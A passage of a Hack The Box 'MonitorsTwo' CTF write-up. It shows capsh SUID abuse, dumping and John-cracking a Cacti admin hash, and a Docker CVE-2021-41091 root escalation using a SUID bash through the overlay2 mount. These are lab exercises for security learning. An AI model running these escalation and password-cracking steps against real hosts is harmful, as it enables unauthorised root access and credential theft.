cap_chown,!cap_dac_override,!cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,!cap_linux_immutable,cap_net_bind_service,!cap_net_broadcast,!cap_net_admin,cap_net_raw,!cap_ipc_lock,!cap_ipc_owner,!cap_sys_module,!cap_sys_rawio,cap_sys_chroot,!cap_sys_ptrace,!cap_sys_pacct,!cap_sys_admin,!cap_sys_boot,!cap_sys_nice,!cap_sys_resource,!cap_sys_time,!cap_sys_tty_config,!cap_mknod,!cap_lease,cap_audit_write,!cap_audit_control,cap_setfcap,!cap_mac_override,!cap_mac_admin,!cap_syslog,!cap_wake_alarm,!cap_block_suspend,!cap_audit_read\nSecurebits: 00\/0x0\/1'b0\nsecure-noroot: no (unlocked)\nsecure-no-suid-fixup: no (unlocked)\nsecure-keep-caps: no (unlocked)\nsecure-no-ambient-raise: no (unlocked)\nuid=33(root) euid=0(root)\ngid=33(www-data)\ngroups=33(www-data)\nGuessed mode: UNCERTAIN (0)<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Also Linpeas drop to us information about files with the SUID activate:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2563 SUID - Check easy privesc, exploits and write perms\n\u255a &lt;https:\/\/book.hacktricks.xyz\/linux-hardening\/privilege-escalation#sudo-and-suid&gt;                                                                                                                                                      \nstrace Not Found                                                                                                                                                                                                                      \n-rwsr-xr-x 1 root root 87K Feb  7  2020 \/usr\/bin\/gpasswd                                                                                                                                                                              \n-rwsr-xr-x 1 root root 63K Feb  7  2020 \/usr\/bin\/passwd  ---&gt;  Apple_Mac_OSX(03-2006)\/Solaris_8\/9(12-2004)\/SPARC_8\/9\/Sun_Solaris_2.3_to_2.5.1(02-1997)\n-rwsr-xr-x 1 root root 52K Feb  7  2020 \/usr\/bin\/chsh\n-rwsr-xr-x 1 root root 58K Feb  7  2020 \/usr\/bin\/chfn  ---&gt;  SuSE_9.3\/10\n-rwsr-xr-x 1 root root 44K Feb  7  2020 \/usr\/bin\/newgrp  ---&gt;  HP-UX_10.20\n-rwsr-xr-x 1 root root 31K Oct 14  2020 \/sbin\/capsh\n-rwsr-xr-x 1 root root 55K Jan 20  2022 \/bin\/mount  ---&gt;  Apple_Mac_OSX(Lion)_Kernel_xnu-1699.32.7_except_xnu-1699.24.8\n-rwsr-xr-x 1 root root 35K Jan 20  2022 \/bin\/umount  ---&gt;  BSD\/Linux(08-1996)\n-rwsr-xr-x 1 root root 71K Jan 20  2022 \/bin\/su<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">If we check the file \u201c\/sbin\/capsh\u201d in google we can found the next information about how we can approach this issue to execute a privilege escalation (<a href=\"https:\/\/gtfobins.github.io\/gtfobins\/capsh\/\">https:\/\/gtfobins.github.io\/gtfobins\/capsh\/<\/a>):<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Shell\nIt can be used to break out from restricted environments by spawning an interactive system shell.\n\ncapsh --\nSUID\nIf the binary has the SUID bit set, it does not drop the elevated privileges and may be abused to access the file system, escalate or maintain privileged access as a SUID backdoor. If it is used to run sh -p, omit the -p argument on systems like Debian (&lt;= Stretch) that allow the default sh shell to run with SUID privileges.\n\nThis example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.\n\nsudo install -m =xs $(which capsh) .\n\n.\/capsh --gid=0 --uid=0 --\nSudo\nIf the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.\n\nsudo capsh --<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">We will execute this method into our reverse shell to check if we can gain root privileges into our shell:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\/sbin\/capsh --gid=0 --uid=0 --<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" width=\"404\" height=\"115\" data-attachment-id=\"3045\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/05\/26\/hack-the-box-monitorstwo-write-up\/untitled-6-1\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-6-1.png?fit=404%2C115&amp;ssl=1\" data-orig-size=\"404,115\" data-comments-opened=\"1\" data-image-title=\"Untitled-6-1\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-6-1.png?fit=404%2C115&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-6-1.png?resize=404%2C115&#038;ssl=1\" alt=\"\" class=\"wp-image-3045\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-6-1.png?w=404&amp;ssl=1 404w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-6-1.png?resize=300%2C85&amp;ssl=1 300w\" sizes=\"(max-width: 404px) 100vw, 404px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">But apparently this isn\u2019t the way to break out the container. We need to enumerate more. We will to enumerate the cacti database because we have all the information to do that:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>mysql --host=db --user=root --password=root cacti -e \"show tables\"<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">After executing this command we will see different tables but we need to see the \u201cuser_auth\u201d table because it save something special:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>mysql --host=db --user=root --password=root cacti -e \"select * from user_auth\"<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">We have discovered a new user with hash and that is very interesting:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>id      username        password        realm   full_name       email_address   must_change_password    password_change show_tree       show_list       show_preview    graph_settings  login_opts      policy_graphs   policy_trees policy_hosts     policy_graph_templates  enabled lastchange      lastlogin       password_history        locked  failed_attempts lastfail        reset_perms\n1       admin   $2y$10$IhEA.Og8vrvwueM7VEDkUes3pwc3zaBbQ\/iuqMft\/llx8utpR1hjC    0       Jamie Thompson  admin@monitorstwo.htb           on      on      on      on      on      2       1       1       1       1       on      -1   -1       -1              0       0       663348655\n3       guest   43e9a4ab75570f5b        0       Guest Account           on      on      on      on      on      3       1       1       1       1       1               -1      -1      -1              0       0       0\n4       marcus  $2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW\/MhFYK4C    0       Marcus Brune    marcus@monitorstwo.htb                  on      on      on      on      1       1       1       1       1       on      -1   -1               on      0       0       2135691668<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">We can try to do brute force with john the ripper to discover the password for the user \u201cmarcus\u201d:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>john --wordlist=\/usr\/share\/wordlists\/rockyou.txt hash.txt<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">We have discovered the password for the user \u201cmarcus\u201d:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u250c\u2500\u2500(david\u327fhsbox)-&#91;~\/hackTheBox\/monitorsTwo]\n\u2514\u2500$ john --wordlist=\/usr\/share\/wordlists\/rockyou.txt hash.txt  \nUsing default input encoding: UTF-8\nLoaded 1 password hash (bcrypt &#91;Blowfish 32\/64 X3])\nCost 1 (iteration count) is 1024 for all loaded hashes\nPress 'q' or Ctrl-C to abort, almost any other key for status\n&lt;replaced&gt;      (?)     \n1g 0:00:03:06 DONE (2023-05-24 15:23) 0.005353g\/s 45.66p\/s 45.66c\/s 45.66C\/s gostosa..figueroa\nUse the \"--show\" option to display all of the cracked passwords reliably\nSession completed.<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">We will try if this user and password works through SSH:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>ssh marcus@10.10.11.211<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">We will have access to the user flag:<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" width=\"585\" height=\"213\" data-attachment-id=\"3046\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/05\/26\/hack-the-box-monitorstwo-write-up\/untitled-7-1\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-7-1.png?fit=585%2C213&amp;ssl=1\" data-orig-size=\"585,213\" data-comments-opened=\"1\" data-image-title=\"Untitled-7-1\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-7-1.png?fit=585%2C213&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-7-1.png?resize=585%2C213&#038;ssl=1\" alt=\"\" class=\"wp-image-3046\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-7-1.png?w=585&amp;ssl=1 585w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-7-1.png?resize=300%2C109&amp;ssl=1 300w\" sizes=\"(max-width: 585px) 100vw, 585px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">After that we will to check more information to gain root access. The first hint we will see is \u201cYou have email\u201d, this message we will see after login through SSH:<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" width=\"459\" height=\"79\" data-attachment-id=\"3047\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/05\/26\/hack-the-box-monitorstwo-write-up\/untitled-8-1\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-8-1.png?fit=459%2C79&amp;ssl=1\" data-orig-size=\"459,79\" data-comments-opened=\"1\" data-image-title=\"Untitled-8-1\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-8-1.png?fit=459%2C79&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-8-1.png?resize=459%2C79&#038;ssl=1\" alt=\"\" class=\"wp-image-3047\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-8-1.png?w=459&amp;ssl=1 459w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-8-1.png?resize=300%2C52&amp;ssl=1 300w\" sizes=\"(max-width: 459px) 100vw, 459px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">We need to go to the mail directory in linux and then we will see the marcus mailbox. After that we can show the content of the mailbox:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full is-resized\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" data-attachment-id=\"3048\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/05\/26\/hack-the-box-monitorstwo-write-up\/untitled-9-1\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-9-1.png?fit=1861%2C462&amp;ssl=1\" data-orig-size=\"1861,462\" data-comments-opened=\"1\" data-image-title=\"Untitled-9-1\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-9-1.png?fit=800%2C199&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-9-1.png?resize=800%2C198&#038;ssl=1\" alt=\"\" class=\"wp-image-3048\" style=\"width:840px;height:208px\" width=\"800\" height=\"198\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-9-1.png?w=1861&amp;ssl=1 1861w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-9-1.png?resize=300%2C74&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-9-1.png?resize=768%2C191&amp;ssl=1 768w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-9-1.png?resize=1536%2C381&amp;ssl=1 1536w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-9-1.png?w=1600&amp;ssl=1 1600w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>From: administrator@monitorstwo.htb\nTo: all@monitorstwo.htb\nSubject: Security Bulletin - Three Vulnerabilities to be Aware Of\n\nDear all,\n\nWe would like to bring to your attention three vulnerabilities that have been recently discovered and should be addressed as soon as possible.\n\nCVE-2021-33033: This vulnerability affects the Linux kernel before 5.11.14 and is related to the CIPSO and CALIPSO refcounting for the DOI definitions. Attackers can exploit this use-after-free issue to write arbitrary values. Please update your kernel to version 5.11.14 or later to address this vulnerability.\n\nCVE-2020-25706: This cross-site scripting (XSS) vulnerability affects Cacti 1.2.13 and occurs due to improper escaping of error messages during template import previews in the xml_path field. This could allow an attacker to inject malicious code into the webpage, potentially resulting in the theft of sensitive data or session hijacking. Please upgrade to Cacti version 1.2.14 or later to address this vulnerability.\n\nCVE-2021-41091: This vulnerability affects Moby, an open-source project created by Docker for software containerization. Attackers could exploit this vulnerability by traversing directory contents and executing programs on the data directory with insufficiently restricted permissions. The bug has been fixed in Moby (Docker Engine) version 20.10.9, and users should update to this version as soon as possible. Please note that running containers should be stopped and restarted for the permissions to be fixed.\n\nWe encourage you to take the necessary steps to address these vulnerabilities promptly to avoid any potential security breaches. If you have any questions or concerns, please do not hesitate to contact our IT department.\n\nBest regards,\n\nAdministrator\nCISO\nMonitor Two\nSecurity Team<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">The message said that have been discovered recently a few vulnerabilities. After checking two of them I tried the CVE-2021-41091. The explotation of this vulnerability to do privilege escalation is exactly what we need. First of all we need to back to the container where we are root and prepare SUID binary into the container:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>chmod u+s \/bin\/bash<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" width=\"800\" height=\"252\" data-attachment-id=\"3049\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/05\/26\/hack-the-box-monitorstwo-write-up\/untitled-10-1\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-10-1.png?fit=970%2C305&amp;ssl=1\" data-orig-size=\"970,305\" data-comments-opened=\"1\" data-image-title=\"Untitled-10-1\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-10-1.png?fit=800%2C252&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-10-1.png?resize=800%2C252&#038;ssl=1\" alt=\"\" class=\"wp-image-3049\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-10-1.png?w=970&amp;ssl=1 970w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-10-1.png?resize=300%2C94&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-10-1.png?resize=768%2C241&amp;ssl=1 768w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">After that we will go to enumerate the directory which the docker container is mounted:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>marcus@monitorstwo:\/var\/mail$ findmnt\nTARGET                                SOURCE      FSTYPE      OPTIONS\n\/                                     \/dev\/sda2   ext4        rw,relatime\n\u251c\u2500\/sys                                sysfs       sysfs       rw,nosuid,nodev,noexec,relatime\n\u2502 \u251c\u2500\/sys\/kernel\/security              securityfs  securityfs  rw,nosuid,nodev,noexec,relatime\n\u2502 \u251c\u2500\/sys\/fs\/cgroup                    tmpfs       tmpfs       ro,nosuid,nodev,noexec,mode=755\n\u2502 \u2502 \u251c\u2500\/sys\/fs\/cgroup\/unified          cgroup2     cgroup2     rw,nosuid,nodev,noexec,relatime,nsdelegate\n\u2502 \u2502 \u251c\u2500\/sys\/fs\/cgroup\/systemd          cgroup      cgroup      rw,nosuid,nodev,noexec,relatime,xattr,name=systemd\n\u2502 \u2502 \u251c\u2500\/sys\/fs\/cgroup\/perf_event       cgroup      cgroup      rw,nosuid,nodev,noexec,relatime,perf_event\n\u2502 \u2502 \u251c\u2500\/sys\/fs\/cgroup\/memory           cgroup      cgroup      rw,nosuid,nodev,noexec,relatime,memory\n\u2502 \u2502 \u251c\u2500\/sys\/fs\/cgroup\/rdma             cgroup      cgroup      rw,nosuid,nodev,noexec,relatime,rdma\n\u2502 \u2502 \u251c\u2500\/sys\/fs\/cgroup\/cpu,cpuacct      cgroup      cgroup      rw,nosuid,nodev,noexec,relatime,cpu,cpuacct\n\u2502 \u2502 \u251c\u2500\/sys\/fs\/cgroup\/blkio            cgroup      cgroup      rw,nosuid,nodev,noexec,relatime,blkio\n\u2502 \u2502 \u251c\u2500\/sys\/fs\/cgroup\/devices          cgroup      cgroup      rw,nosuid,nodev,noexec,relatime,devices\n\u2502 \u2502 \u251c\u2500\/sys\/fs\/cgroup\/freezer          cgroup      cgroup      rw,nosuid,nodev,noexec,relatime,freezer\n\u2502 \u2502 \u251c\u2500\/sys\/fs\/cgroup\/pids             cgroup      cgroup      rw,nosuid,nodev,noexec,relatime,pids\n\u2502 \u2502 \u251c\u2500\/sys\/fs\/cgroup\/cpuset           cgroup      cgroup      rw,nosuid,nodev,noexec,relatime,cpuset\n\u2502 \u2502 \u251c\u2500\/sys\/fs\/cgroup\/net_cls,net_prio cgroup      cgroup      rw,nosuid,nodev,noexec,relatime,net_cls,net_prio\n\u2502 \u2502 \u2514\u2500\/sys\/fs\/cgroup\/hugetlb          cgroup      cgroup      rw,nosuid,nodev,noexec,relatime,hugetlb\n\u2502 \u251c\u2500\/sys\/fs\/pstore                    pstore      pstore      rw,nosuid,nodev,noexec,relatime\n\u2502 \u251c\u2500\/sys\/fs\/bpf                       none        bpf         rw,nosuid,nodev,noexec,relatime,mode=700\n\u2502 \u251c\u2500\/sys\/kernel\/debug                 debugfs     debugfs     rw,nosuid,nodev,noexec,relatime\n\u2502 \u251c\u2500\/sys\/kernel\/tracing               tracefs     tracefs     rw,nosuid,nodev,noexec,relatime\n\u2502 \u251c\u2500\/sys\/fs\/fuse\/connections          fusectl     fusectl     rw,nosuid,nodev,noexec,relatime\n\u2502 \u2514\u2500\/sys\/kernel\/config                configfs    configfs    rw,nosuid,nodev,noexec,relatime\n\u251c\u2500\/proc                               proc        proc        rw,nosuid,nodev,noexec,relatime\n\u2502 \u2514\u2500\/proc\/sys\/fs\/binfmt_misc          systemd-1   autofs      rw,relatime,fd=28,pgrp=1,timeout=0,minproto=5,maxproto=5,direct,pipe_ino=15271\n\u2502   \u2514\u2500\/proc\/sys\/fs\/binfmt_misc        binfmt_misc binfmt_misc rw,nosuid,nodev,noexec,relatime\n\u251c\u2500\/dev                                udev        devtmpfs    rw,nosuid,noexec,relatime,size=1966928k,nr_inodes=491732,mode=755\n\u2502 \u251c\u2500\/dev\/pts                          devpts      devpts      rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=000\n\u2502 \u251c\u2500\/dev\/shm                          tmpfs       tmpfs       rw,nosuid,nodev\n\u2502 \u251c\u2500\/dev\/hugepages                    hugetlbfs   hugetlbfs   rw,relatime,pagesize=2M\n\u2502 \u2514\u2500\/dev\/mqueue                       mqueue      mqueue      rw,nosuid,nodev,noexec,relatime\n\u251c\u2500\/run                                tmpfs       tmpfs       rw,nosuid,nodev,noexec,relatime,size=402608k,mode=755\n\u2502 \u251c\u2500\/run\/lock                         tmpfs       tmpfs       rw,nosuid,nodev,noexec,relatime,size=5120k\n\u2502 \u251c\u2500\/run\/docker\/netns\/4475afc16c8d    nsfs&#91;net:&#91;4026532570]]\n\u2502 \u2502                                               nsfs        rw\n\u2502 \u251c\u2500\/run\/user\/1000                    tmpfs       tmpfs       rw,nosuid,nodev,relatime,size=402608k,mode=700,uid=1000,gid=1000\n\u2502 \u2514\u2500\/run\/docker\/netns\/8389632fcb75    nsfs&#91;net:&#91;4026532631]]\n\u2502                                                 nsfs        rw\n\u251c\u2500\/var\/lib\/docker\/overlay2\/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec\/merged\n\u2502                                     overlay     overlay     rw,relatime,lowerdir=\/var\/lib\/docker\/overlay2\/l\/756FTPFO4AE7HBWVGI5TXU76FU:\/var\/lib\/docker\/overlay2\/l\/XKE4ZK5GJUTHXKVYS4MQMJ3NOB:\/var\/lib\/docker\/overlay2\/l\/3JPYTR54WWK2\n\u251c\u2500\/var\/lib\/docker\/containers\/e2378324fced58e8166b82ec842ae45961417b4195aade5113fdc9c6397edc69\/mounts\/shm\n\u2502                                     shm         tmpfs       rw,nosuid,nodev,noexec,relatime,size=65536k\n\u251c\u2500\/var\/lib\/docker\/overlay2\/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1\/merged\n\u2502                                     overlay     overlay     rw,relatime,lowerdir=\/var\/lib\/docker\/overlay2\/l\/4Z77R4WYM6X4BLW7GXAJOAA4SJ:\/var\/lib\/docker\/overlay2\/l\/Z4RNRWTZKMXNQJVSRJE4P2JYHH:\/var\/lib\/docker\/overlay2\/l\/CXAW6LQU6QOK\n\u2514\u2500\/var\/lib\/docker\/containers\/50bca5e748b0e547d000ecb8a4f889ee644a92f743e129e52f7a37af6c62e51e\/mounts\/shm\n                                      shm         tmpfs       rw,nosuid,nodev,noexec,relatime,size=65536k<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">After found the directory \u201c\/var\/lib\/docker\/overlay2\/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1\/merged\u201d we will perform a \u201cDirectory Traversal &amp; Command Execution Attack\u201d. We need to back to the SSH session and execute the next command:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\/var\/lib\/docker\/overlay2\/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1\/merged\/bin\/bash -p<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">And finally we will have access to the root flag:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" width=\"711\" height=\"106\" data-attachment-id=\"3052\" data-permalink=\"https:\/\/hardsoftsecurity.es\/untitled-11-2-2\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-11-2-edited.png?fit=711%2C106&amp;ssl=1\" data-orig-size=\"711,106\" data-comments-opened=\"1\" data-image-title=\"Untitled-11-2\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-11-2-edited.png?fit=711%2C106&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-11-2-edited.png?resize=711%2C106&#038;ssl=1\" alt=\"\" class=\"wp-image-3052\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-11-2-edited.png?w=711&amp;ssl=1 711w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-11-2-edited.png?resize=300%2C45&amp;ssl=1 300w\" sizes=\"(max-width: 711px) 100vw, 711px\" \/><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>bash-5.1# whoami\nroot\nbash-5.1# ls \/root\ncacti  root.txt\nbash-5.1# cat root.txt\ncat: root.txt: No such file or directory\nbash-5.1# cat \/root\/root.txt<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">This machine in my opinion has been different. You will learn about how the vulnerabilities can give you fast access to one environment but after that not always you need to exploit some vulnerability to execute privilege escalation. However, it has been interesting because I learned about containers and also how we can breakout.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Links:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/exploit-notes.hdks.org\/exploit\/container\/docker\/moby-docker-engine-privesc\/\">https:\/\/exploit-notes.hdks.org\/exploit\/container\/docker\/moby-docker-engine-privesc\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Hey there, Cyber Warriors! \ud83d\ude80 Get ready for a thrilling exploration of MonitorsTwo, a remarkable CTF challenge from Hack The Box! A test of wits and cybersecurity skills, MonitorsTwo takes &#8230;<\/p>\n","protected":false},"author":1,"featured_media":3038,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_hide_featured_image":false,"_jetpack_featured_image_duplicate_dismissed":0,"_jetpack_feature_clip_id":0,"_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_publicize_message":"Hey there, Cyber Warriors! \ud83d\ude80\n\nGet ready for a thrilling exploration of MonitorsTwo, a remarkable CTF challenge from Hack The Box! A test of wits and cybersecurity skills, MonitorsTwo takes you on a journey full of learning and discovery. In this post ...","jetpack_publicize_feature_enabled":true,"jetpack_social_post_already_shared":true,"jetpack_social_options":{"image_generator_settings":{"template":"highway","default_image_id":0,"font":"","enabled":false},"version":2},"jetpack_post_was_ever_published":false},"categories":[3,7],"tags":[354,362,363,353,359,357,364,358,361,360],"class_list":["post-3037","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-guias","category-seguridad-informatica","tag-ctf","tag-cybersecurity","tag-exploitation","tag-hackthebox","tag-infosec","tag-monitorstwo","tag-networksecurity","tag-penetrationtesting","tag-privilegeescalation","tag-vulnerabilityassessment"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.9 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Hack The Box | MonitorsTwo | Write Up - Hardsoft Security<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/05\/26\/hack-the-box-monitorstwo-write-up\/\" \/>\n<meta property=\"og:locale\" content=\"es_ES\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Hack The Box | MonitorsTwo | Write Up - Hardsoft Security\" \/>\n<meta property=\"og:description\" content=\"Hey there, Cyber Warriors! \ud83d\ude80 Get ready for a thrilling exploration of MonitorsTwo, a remarkable CTF challenge from Hack The Box! A test of wits and cybersecurity skills, MonitorsTwo takes ...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/05\/26\/hack-the-box-monitorstwo-write-up\/\" \/>\n<meta property=\"og:site_name\" content=\"Hardsoft Security\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/HardSoftDavid\" \/>\n<meta property=\"article:published_time\" content=\"2023-05-26T12:40:13+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2023-09-16T08:35:15+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/image-1.png\" \/>\n\t<meta property=\"og:image:width\" content=\"709\" \/>\n\t<meta property=\"og:image:height\" content=\"656\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/png\" \/>\n<meta name=\"author\" content=\"david\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@DavidDeMaya\" \/>\n<meta name=\"twitter:site\" content=\"@DavidDeMaya\" \/>\n<meta name=\"twitter:label1\" content=\"Escrito por\" \/>\n\t<meta name=\"twitter:data1\" content=\"david\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tiempo de lectura\" \/>\n\t<meta name=\"twitter:data2\" content=\"7 minutos\" \/>\n<script type=\"application\/ld+json\" 